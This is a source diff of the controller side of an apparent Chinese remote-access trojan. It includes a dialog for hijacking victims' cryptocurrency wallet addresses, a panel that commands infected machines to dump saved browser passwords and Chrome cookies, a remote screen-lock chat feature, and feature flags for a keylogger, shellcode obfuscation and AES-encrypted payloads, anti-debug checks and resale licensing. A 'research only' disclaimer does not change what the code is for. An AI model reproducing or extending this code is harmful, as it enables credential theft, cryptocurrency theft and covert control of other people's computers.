@@ -0,0 +1,28 @@
#pragma once
#include "afxdialogex.h"
#include "LangManager.h"
// CUpdateDlg 对话框
class CUpdateDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CUpdateDlg)
public:
CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CUpdateDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_UPDATE };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CComboBox m_ComboUpdateSelect;
virtual BOOL OnInitDialog();
int m_nSelected;
};

View File

@@ -0,0 +1,118 @@
// CWalletDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CWalletDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
#include "wallet.h"
// CWalletDlg 对话框
IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx)
CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/)
: CDialogLangEx(IDD_DIALOG_WALLET, pParent)
{
}
CWalletDlg::~CWalletDlg()
{
}
void CWalletDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC);
DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20);
DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI);
DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20);
DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL);
DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP);
DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA);
DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE);
DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT);
DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON);
}
BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx)
END_MESSAGE_MAP()
// CWalletDlg 消息处理程序
BOOL CWalletDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_WALLET_BTC, _TR("比特币 (BTC):"));
SetDlgItemText(IDC_STATIC_WALLET_ETHERC20_2394, _TR("ETH-ERC20:"));
SetDlgItemText(IDC_STATIC_WALLET_USDTOMNI_2395, _TR("USDT-OMNI:"));
SetDlgItemText(IDC_STATIC_WALLET_USDTTRC20_2396, _TR("USDT-TRC20:"));
SetDlgItemText(IDC_STATIC_WALLET_TRON_2397, _TR("TRON:"));
SetDlgItemText(IDC_STATIC_WALLET_Polkadot_2398, _TR("Polkadot:"));
SetDlgItemText(IDC_STATIC_WALLET_ADA_2399, _TR("ADA:"));
SetDlgItemText(IDC_STATIC_WALLET_Dogecoin_2400, _TR("Dogecoin:"));
SetDlgItemText(IDC_STATIC_WALLET_XRP_2401, _TR("XRP:"));
SetDlgItemText(IDC_STATIC_WALLET_Solana_2402, _TR("Solana:"));
SetDlgItemText(IDC_STATIC_WALLET_TIP, _TR("提示信息: 劫持并替换被控端钱包地址总字符数最多是470只填写所需的地址不需要全部填满。"));
SetDlgItemText(IDC_STATIC_WALLET_WARNING, _TR("警告信息: 此功能仅用于开源项目之研究,用户自行承担后果,不得用于非法目的。"));
SetDlgItemText(IDOK, _TR("确定"));
auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM);
m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str());
m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str());
m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str());
m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str());
m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str());
m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str());
m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str());
m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str());
m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str());
m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str());
return TRUE;
}
CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter)
{
CString result;
for (int i = 0; i < size; ++i) {
result += arr[i];
if (i != size - 1)
result += delimiter;
}
return result;
}
void CWalletDlg::OnOK()
{
CString a[MAX_WALLET_NUM];
m_EditBTC.GetWindowTextA(a[ADDR_BTC]);
m_EditERC20.GetWindowTextA(a[ADDR_ERC20]);
m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]);
m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]);
m_EditSOL.GetWindowTextA(a[ADDR_SOL]);
m_EditXRP.GetWindowTextA(a[ADDR_XRP]);
m_EditADA.GetWindowTextA(a[ADDR_ADA]);
m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]);
m_EditDOT.GetWindowTextA(a[ADDR_DOT]);
m_EditTRON.GetWindowTextA(a[ADDR_TRON]);
for (int i = 0; i < MAX_WALLET_NUM; ++i) {
if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
return;
}
}
m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';'));
__super::OnOK();
}

View File

@@ -0,0 +1,38 @@
#pragma once
#include "LangManager.h"
// CWalletDlg 对话框
class CWalletDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CWalletDlg)
public:
CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CWalletDlg();
CString m_str;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_WALLET };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditBTC;
CEdit m_EditERC20;
CEdit m_EditOMNI;
CEdit m_EditTRC20;
CEdit m_EditSOL;
CEdit m_EditXRP;
CEdit m_EditADA;
CEdit m_EditDOGE;
CEdit m_EditDOT;
CEdit m_EditTRON;
virtual BOOL OnInitDialog();
virtual void OnOK();
};

187
server/2015Remote/Chat.cpp Normal file
View File

@@ -0,0 +1,187 @@
// Chat.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "Chat.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
/////////////////////////////////////////////////////////////////////////////
// CChat dialog
CChat::CChat(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, IDI_CHAT)
{
}
void CChat::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_TIP, m_editTip);
DDX_Control(pDX, IDC_EDIT_NEWMSG, m_editNewMsg);
DDX_Control(pDX, IDC_EDIT_CHATLOG, m_editChatLog);
}
BEGIN_MESSAGE_MAP(CChat, CDialog)
ON_BN_CLICKED(IDC_BUTTON_SEND, OnButtonSend)
ON_BN_CLICKED(IDC_BUTTON_END, OnButtonEnd)
ON_WM_CTLCOLOR()
ON_WM_CLOSE()
ON_EN_SETFOCUS(IDC_EDIT_CHATLOG, OnSetfocusEditChatLog)
ON_EN_KILLFOCUS(IDC_EDIT_CHATLOG, OnKillfocusEditChatLog)
ON_BN_CLICKED(IDC_LOCK, &CChat::OnBnClickedButton_LOCK)
ON_BN_CLICKED(IDC_UNLOCK, &CChat::OnBnClickedButton_UNLOCK)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCHAT message handlers
BOOL CChat::OnInitDialog()
{
__super::OnInitDialog();
CString str;
str.FormatL(_T("远程交谈 - %s"), m_ContextObject->GetPeerName().c_str()),
SetWindowText(str);
// 设置控件文本(解决英语系统乱码问题)
SetDlgItemText(IDC_BUTTON_SEND, _TR("发送消息"));
SetDlgItemText(IDC_BUTTON_END, _TR("结束交谈"));
SetDlgItemText(IDC_LOCK, _TR("锁定屏幕\n屏蔽功能键"));
SetDlgItemText(IDC_UNLOCK, _TR("解除锁定"));
m_editTip.SetWindowTextL("提示: 对方聊天对话框在发送消息后才会弹出");
m_editNewMsg.SetLimitText(4079);
// TODO: Add extra initialization here
BYTE bToken = COMMAND_NEXT_CHAT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CChat::OnReceive()
{
}
void CChat::OnReceiveComplete()
{
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
char* strResult = (char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _TRF("对方:"),
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, strResult);
if (m_editChatLog.GetWindowTextLength() >= 20000)
m_editChatLog.SetWindowText(_T(""));
m_editChatLog.SetSel(-1);
m_editChatLog.ReplaceSel(Text);
}
void CChat::OnButtonSend()
{
char str[4096];
GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str));
if (_tcscmp(str, _T("")) == 0) {
m_editNewMsg.SetFocus();
return; // 发送消息为空不处理
}
m_editTip.ShowWindow(SW_HIDE);
m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char));
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _TRF("自己:"),
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
if (m_editChatLog.GetWindowTextLength() >= 20000)
m_editChatLog.SetWindowText(_T(""));
m_editChatLog.SetSel(-1);
m_editChatLog.ReplaceSel(Text);
m_editNewMsg.SetWindowText(_T(""));
m_editNewMsg.SetFocus();
}
void CChat::OnButtonEnd()
{
SendMessage(WM_CLOSE, 0, 0);
}
void CChat::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
CDialogBase::OnClose();
}
HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
if (pWnd->GetDlgCtrlID() == IDC_EDIT_CHATLOG && nCtlColor == CTLCOLOR_STATIC) {
COLORREF clr = RGB(0, 0, 0);
pDC->SetTextColor(clr); // 设置黑色的文本
clr = RGB(255, 255, 255);
pDC->SetBkColor(clr); // 设置白色的背景
return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄
} else if (pWnd == &m_editTip && nCtlColor == CTLCOLOR_EDIT) {
COLORREF clr = RGB(255, 0, 0);
pDC->SetTextColor(clr); // 设置红色的文本
clr = RGB(220, 220, 0);
pDC->SetBkColor(clr); // 设置黄色的背景
return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄
} else {
return __super::OnCtlColor(pDC, pWnd, nCtlColor);
}
}
void CChat::PostNcDestroy()
{
if (!m_bIsClosed)
OnCancel();
__super::PostNcDestroy();
}
BOOL CChat::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_ESCAPE) {
return true;
}
return __super::PreTranslateMessage(pMsg);
}
void CChat::OnSetfocusEditChatLog()
{
if (m_editTip.IsWindowVisible())
m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
}
void CChat::OnKillfocusEditChatLog()
{
if (m_editTip.IsWindowVisible())
m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
}
void CChat::OnBnClickedButton_LOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
}
void CChat::OnBnClickedButton_UNLOCK()
{
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
}

45
server/2015Remote/Chat.h Normal file
View File

@@ -0,0 +1,45 @@
#pragma once
#include "stdafx.h"
/////////////////////////////////////////////////////////////////////////////
// CChat dialog
class CChat : public DialogBase
{
// Construction
public:
CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
void OnReceiveComplete();
void OnReceive();
enum { IDD = IDD_CHAT };
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual void PostNcDestroy();
virtual void OnClose();
// Implementation
protected:
virtual BOOL OnInitDialog();
afx_msg void OnButtonSend();
afx_msg void OnButtonEnd();
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
afx_msg void OnSetfocusEditChatLog();
afx_msg void OnKillfocusEditChatLog();
DECLARE_MESSAGE_MAP()
public:
CEdit m_editTip;
CEdit m_editNewMsg;
CEdit m_editChatLog;
afx_msg void OnBnClickedButton_LOCK();
afx_msg void OnBnClickedButton_UNLOCK();
};

View File

@@ -0,0 +1,157 @@
#pragma once
// CrashReport.h - 崩溃报告相关定义
// 集中管理配置键名、退出代码等,提高可维护性
#include <windows.h>
// ============================================
// 配置键名定义 - [crash] section
// ============================================
#define CFG_CRASH_SECTION "crash"
// 崩溃统计(永久)
#define CFG_CRASH_COUNT "count" // 总崩溃次数
#define CFG_CRASH_LAST_TIME "lastTime" // 最后崩溃时间
#define CFG_CRASH_LAST_CODE "lastCode" // 最后退出代码
#define CFG_CRASH_LAST_RUN_MS "lastRunMs" // 最后运行时间(ms), string存储uint64
// MTBF 统计(永久)
#define CFG_CRASH_STARTS "starts" // 启动次数
#define CFG_CRASH_TOTAL_RUN_MS "totalRunMs" // 累计运行时间(ms), string存储uint64
// 崩溃窗口状态(临时,窗口过期或系统重启后清除)
#define CFG_CRASH_WIN_COUNT "winCount" // 窗口期内崩溃次数
#define CFG_CRASH_WIN_START "winStart" // 窗口起始时间(ms, GetTickCount64)
// 崩溃保护标志(一次性,程序启动时读取并清除)
#define CFG_CRASH_PROTECTED "protected" // 崩溃保护标志
// ============================================
// 特殊退出代码
// ============================================
#define EXIT_CODE_UNKNOWN 0xFFFFFFFF // 无法获取退出代码
// 自定义退出代码范围 (1000-1999)
#define EXIT_CODE_CUSTOM_BASE 1000
#define EXIT_NORMAL 0
#define EXIT_CONFIG_ERROR 1001
#define EXIT_NETWORK_ERROR 1002
#define EXIT_AUTH_FAILED 1003
#define EXIT_RESTART_REQUEST 1004
#define EXIT_MANUAL_STOP 1005
// 客户端特定退出代码 (1006-1020)
#define EXIT_CONNECTION_LIMIT 1006 // 连接数超限
#define EXIT_TIME_TAMPERED 1007 // 时间篡改检测
#define EXIT_HARDWARE_ERROR 1008 // 硬件信息获取失败
#define EXIT_TIMING_CHECK 1009 // 时序检测失败(反调试)
#define EXIT_EVENT_ERROR 1010 // 事件打开失败
#define EXIT_VERIFY_LOOP 1011 // 验证循环失败
#define EXIT_AUTH_RANDOM 1012 // 授权相关随机终止
// ============================================
// Windows 异常代码
// ============================================
#define EXCEPTION_ACCESS_VIOLATION_CODE 0xC0000005
#define EXCEPTION_INT_DIVIDE_BY_ZERO_CODE 0xC0000094
#define EXCEPTION_STACK_OVERFLOW_CODE 0xC00000FD
#define EXCEPTION_STACK_BUFFER_OVERRUN_CODE 0xC0000409
#define EXCEPTION_ILLEGAL_INSTRUCTION_CODE 0xC000001D
#define EXCEPTION_NONCONTINUABLE_CODE 0xC0000025
#define EXCEPTION_BREAKPOINT_CODE 0x80000003
// ============================================
// 退出代码描述
// ============================================
inline const char* GetExitCodeDescription(DWORD exitCode)
{
switch (exitCode) {
// Windows 异常
case EXCEPTION_ACCESS_VIOLATION_CODE: return "ACCESS_VIOLATION";
case EXCEPTION_INT_DIVIDE_BY_ZERO_CODE: return "INTEGER_DIVIDE_BY_ZERO";
case EXCEPTION_STACK_OVERFLOW_CODE: return "STACK_OVERFLOW";
case EXCEPTION_STACK_BUFFER_OVERRUN_CODE: return "STACK_BUFFER_OVERRUN";
case EXCEPTION_ILLEGAL_INSTRUCTION_CODE: return "ILLEGAL_INSTRUCTION";
case EXCEPTION_NONCONTINUABLE_CODE: return "NONCONTINUABLE_EXCEPTION";
case EXCEPTION_BREAKPOINT_CODE: return "BREAKPOINT";
// 自定义退出代码
case EXIT_NORMAL: return "NORMAL";
case EXIT_CONFIG_ERROR: return "CONFIG_ERROR";
case EXIT_NETWORK_ERROR: return "NETWORK_ERROR";
case EXIT_AUTH_FAILED: return "AUTH_FAILED";
case EXIT_RESTART_REQUEST: return "RESTART_REQUEST";
case EXIT_MANUAL_STOP: return "MANUAL_STOP";
// 客户端特定退出代码
case EXIT_CONNECTION_LIMIT: return "CONNECTION_LIMIT";
case EXIT_TIME_TAMPERED: return "TIME_TAMPERED";
case EXIT_HARDWARE_ERROR: return "HARDWARE_ERROR";
case EXIT_TIMING_CHECK: return "TIMING_CHECK";
case EXIT_EVENT_ERROR: return "EVENT_ERROR";
case EXIT_VERIFY_LOOP: return "VERIFY_LOOP";
case EXIT_AUTH_RANDOM: return "AUTH_RANDOM";
// 特殊值
case EXIT_CODE_UNKNOWN: return "UNKNOWN";
default: return NULL;
}
}
// 判断是否为异常退出(崩溃)
inline BOOL IsExceptionExitCode(DWORD exitCode)
{
// Windows 异常代码通常以 0xC0000000 或 0x80000000 开头
return (exitCode & 0xC0000000) != 0;
}
// 判断是否为自定义退出代码
inline BOOL IsCustomExitCode(DWORD exitCode)
{
return exitCode >= EXIT_CODE_CUSTOM_BASE && exitCode < EXIT_CODE_CUSTOM_BASE + 1000;
}
// ============================================
// MTBF 计算辅助函数
// ============================================
// 计算 MTBF (Mean Time Between Failures)
// 返回值单位:毫秒,如果无法计算返回 0
inline ULONGLONG CalculateMTBF(ULONGLONG totalRuntimeMs, int crashCount)
{
if (crashCount <= 0) {
return 0; // 无崩溃,无法计算 MTBF
}
return totalRuntimeMs / (ULONGLONG)crashCount;
}
// 计算失败率 (Failure Rate)
// 返回值:崩溃次数 / 启动次数,如果无法计算返回 -1.0
inline double CalculateFailureRate(int crashCount, int startCount)
{
if (startCount <= 0) {
return -1.0; // 无法计算
}
return (double)crashCount / (double)startCount;
}
// 格式化运行时间为可读字符串
// 例如: "5d 3h 29m" 或 "2h 15m 30s"
inline void FormatRuntime(ULONGLONG runtimeMs, char* buffer, size_t bufferSize)
{
ULONGLONG seconds = runtimeMs / 1000;
ULONGLONG minutes = seconds / 60;
ULONGLONG hours = minutes / 60;
ULONGLONG days = hours / 24;
seconds %= 60;
minutes %= 60;
hours %= 24;
if (days > 0) {
sprintf_s(buffer, bufferSize, "%llud %lluh %llum", days, hours, minutes);
} else if (hours > 0) {
sprintf_s(buffer, bufferSize, "%lluh %llum %llus", hours, minutes, seconds);
} else if (minutes > 0) {
sprintf_s(buffer, bufferSize, "%llum %llus", minutes, seconds);
} else {
sprintf_s(buffer, bufferSize, "%llus", seconds);
}
}

View File

@@ -0,0 +1,126 @@
#include "stdafx.h"
#include "DecryptDlg.h"
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT)
{
}
DecryptDlg::~DecryptDlg()
{
}
void DecryptDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_DECRYPT_RESULT, m_EditDecrypedResult);
}
BEGIN_MESSAGE_MAP(DecryptDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_COMMAND(ID_DECRYPT_CHROME, &DecryptDlg::OnDecryptChrome)
ON_COMMAND(ID_DECRYPT_EDGE, &DecryptDlg::OnDecryptEdge)
ON_COMMAND(ID_DECRYPT_SPEED360, &DecryptDlg::OnDecryptSpeed360)
ON_COMMAND(ID_DECRYPT_360, &DecryptDlg::OnDecrypt360)
ON_COMMAND(ID_DECRYPT_QQ, &DecryptDlg::OnDecryptQQ)
ON_COMMAND(ID_DECRYPT_CHROMECOOKIES, &DecryptDlg::OnDecryptChromeCookies)
END_MESSAGE_MAP()
// DecryptDlg 消息处理程序
BOOL DecryptDlg::OnInitDialog()
{
__super::OnInitDialog();
SetIcon(m_hIcon, FALSE);
CString str;
str.FormatL("%s - 解密数据", m_IPAddress);
SetWindowText(str);
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
m_EditDecrypedResult.SetWindowText(_TR("<<< 提示: 请在菜单选择解密类型 >>>") + CString("\r\n"));
int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
m_EditDecrypedResult.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel);
return TRUE;
}
VOID DecryptDlg::OnReceiveComplete()
{
if (m_ContextObject == NULL) {
return;
}
auto result = m_ContextObject->GetBuffer(1);
m_EditDecrypedResult.SetWindowTextA(CString(result));
}
void DecryptDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
CDialogBase::OnClose();
}
void DecryptDlg::OnSize(UINT nType, int cx, int cy)
{
CDialogBase::OnSize(nType, cx, cy);
if (m_EditDecrypedResult.GetSafeHwnd()) {
m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // 占满整个对话框
}
}
void DecryptDlg::OnDecryptChrome()
{
BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptEdge()
{
BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptSpeed360()
{
BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
void DecryptDlg::OnDecrypt360()
{
BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptQQ()
{
BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
void DecryptDlg::OnDecryptChromeCookies()
{
BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}

View File

@@ -0,0 +1,34 @@
#pragma once
#include "IOCPServer.h"
#include "Resource.h"
class DecryptDlg : public CDialogBase
{
DECLARE_DYNAMIC(DecryptDlg)
public:
DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
virtual ~DecryptDlg();
VOID OnReceiveComplete();
// 对话框数据
enum { IDD = IDD_DIALOG_DECRYPT };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnDecryptChrome();
afx_msg void OnDecryptEdge();
afx_msg void OnDecryptSpeed360();
afx_msg void OnDecrypt360();
afx_msg void OnDecryptQQ();
afx_msg void OnDecryptChromeCookies();
CEdit m_EditDecrypedResult;
};

View File

@@ -0,0 +1,59 @@
// EditDialog.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "EditDialog.h"
#include "afxdialogex.h"
// CEditDialog 对话框
IMPLEMENT_DYNAMIC(CEditDialog, CDialog)
CEditDialog::CEditDialog(CWnd* pParent)
: CDialogLang(CEditDialog::IDD, pParent)
, m_EditString(_T(""))
{
}
CEditDialog::~CEditDialog()
{
}
void CEditDialog::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_STRING, m_EditString);
}
BEGIN_MESSAGE_MAP(CEditDialog, CDialog)
ON_BN_CLICKED(IDOK, &CEditDialog::OnBnClickedOk)
END_MESSAGE_MAP()
// CEditDialog 消息处理程序
BOOL CEditDialog::OnInitDialog()
{
__super::OnInitDialog();
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
return TRUE;
}
void CEditDialog::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
UpdateData(TRUE);
if (m_EditString.IsEmpty()) {
MessageBeep(0);
return; //不关闭对话框
}
__super::OnOK();
}

View File

@@ -0,0 +1,25 @@
#pragma once
#include "LangManager.h"
// CEditDialog 对话框
class CEditDialog : public CDialogLang
{
DECLARE_DYNAMIC(CEditDialog)
public:
CEditDialog(CWnd* pParent = NULL); // 标准构造函数
virtual ~CEditDialog();
// 对话框数据
enum { IDD = IDD_DIALOG_NEWFOLDER };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
public:
CString m_EditString;
afx_msg void OnBnClickedOk();
};

View File

@@ -0,0 +1,201 @@
#pragma once
// ============================================================
// FeatureFlags.h - Runtime Feature Flags for Sub-level Control
// ============================================================
//
// This file defines the data structures and bit flags for
// controlling which features are available to sub-level masters.
//
// These flags are written into g_UpperHash[164-255] when
// generating a sub-level master program (92 bytes total).
//
// ============================================================
#include <stdint.h>
#include <string.h>
#define FEATURE_FLAGS_VERSION "FLG1"
#define FEATURE_FLAGS_OFFSET 164 // Offset in g_UpperHash
#pragma pack(push, 1)
typedef struct FeatureFlags {
char Version[4]; // "FLG1" version identifier
uint64_t MenuFlags; // Main menu flags (64 bits)
uint64_t ToolbarFlags; // Toolbar flags (64 bits)
uint64_t ContextFlags; // Context menu flags (64 bits)
char Reserved[64]; // Reserved for future use
} FeatureFlags; // 4 + 8 + 8 + 8 + 64 = 92 bytes
#pragma pack(pop)
// ============================================================
// MenuFlags bit definitions (corresponds to HIDE_MENU_* macros)
// ============================================================
// File menu [0-3]
#define MF_SETTINGS (1ULL << 0) // HIDE_MENU_SETTINGS
#define MF_NOTIFY_SETTINGS (1ULL << 1) // HIDE_MENU_NOTIFY_SETTINGS
#define MF_WALLET (1ULL << 2) // HIDE_MENU_WALLET
#define MF_NETWORK (1ULL << 3) // HIDE_MENU_NETWORK
// Tools menu [4-10]
#define MF_INPUT_PASSWORD (1ULL << 4) // HIDE_MENU_INPUT_PASSWORD
#define MF_IMPORT_LICENSE (1ULL << 5) // HIDE_MENU_IMPORT_LICENSE
#define MF_RCEDIT (1ULL << 6) // HIDE_MENU_RCEDIT
#define MF_GEN_AUTH (1ULL << 7) // HIDE_MENU_GEN_AUTH
#define MF_GEN_MASTER (1ULL << 8) // HIDE_MENU_GEN_MASTER
#define MF_LICENSE_MGR (1ULL << 9) // HIDE_MENU_LICENSE_MGR
#define MF_V2_PRIVATEKEY (1ULL << 10) // HIDE_MENU_V2_PRIVATEKEY
// ShellCode submenu [11-19]
#define MF_SHELLCODE_C (1ULL << 11) // HIDE_MENU_SHELLCODE_C
#define MF_SHELLCODE_BIN (1ULL << 12) // HIDE_MENU_SHELLCODE_BIN
#define MF_SHELLCODE_LOAD_TEST (1ULL << 13) // HIDE_MENU_SHELLCODE_LOAD_TEST
#define MF_SHELLCODE_OBFS (1ULL << 14) // HIDE_MENU_SHELLCODE_OBFS
#define MF_SHELLCODE_OBFS_BIN (1ULL << 15) // HIDE_MENU_SHELLCODE_OBFS_BIN
#define MF_SHELLCODE_OBFS_TEST (1ULL << 16) // HIDE_MENU_SHELLCODE_OBFS_TEST
#define MF_SHELLCODE_AES_C (1ULL << 17) // HIDE_MENU_SHELLCODE_AES_C
#define MF_SHELLCODE_AES_BIN (1ULL << 18) // HIDE_MENU_SHELLCODE_AES_BIN
#define MF_SHELLCODE_AES_TEST (1ULL << 19) // HIDE_MENU_SHELLCODE_AES_TEST
// Params menu [20-27]
#define MF_KBLOGGER (1ULL << 20) // HIDE_MENU_KBLOGGER
#define MF_LOGIN_NOTIFY (1ULL << 21) // HIDE_MENU_LOGIN_NOTIFY
#define MF_ENABLE_LOG (1ULL << 22) // HIDE_MENU_ENABLE_LOG
#define MF_PRIVACY_WALLPAPER (1ULL << 23) // HIDE_MENU_PRIVACY_WALLPAPER
#define MF_FILE_V2 (1ULL << 24) // HIDE_MENU_FILE_V2
#define MF_HOOK_WIN (1ULL << 25) // HIDE_MENU_HOOK_WIN
#define MF_RUN_AS_SERVICE (1ULL << 26) // HIDE_MENU_RUN_AS_SERVICE
#define MF_RUN_AS_USER (1ULL << 27) // HIDE_MENU_RUN_AS_USER
// Extension menu [28-37]
#define MF_HISTORY_CLIENTS (1ULL << 28) // HIDE_MENU_HISTORY_CLIENTS
#define MF_BACKUP_DATA (1ULL << 29) // HIDE_MENU_BACKUP_DATA
#define MF_IMPORT_DATA (1ULL << 30) // HIDE_MENU_IMPORT_DATA
#define MF_RELOAD_PLUGINS (1ULL << 31) // HIDE_MENU_RELOAD_PLUGINS
#define MF_PLUGIN_REQUEST (1ULL << 32) // HIDE_MENU_PLUGIN_REQUEST
#define MF_FRPS_FOR_SUB (1ULL << 33) // HIDE_MENU_FRPS_FOR_SUB
#define MF_CHANGE_LANG (1ULL << 34) // HIDE_MENU_CHANGE_LANG
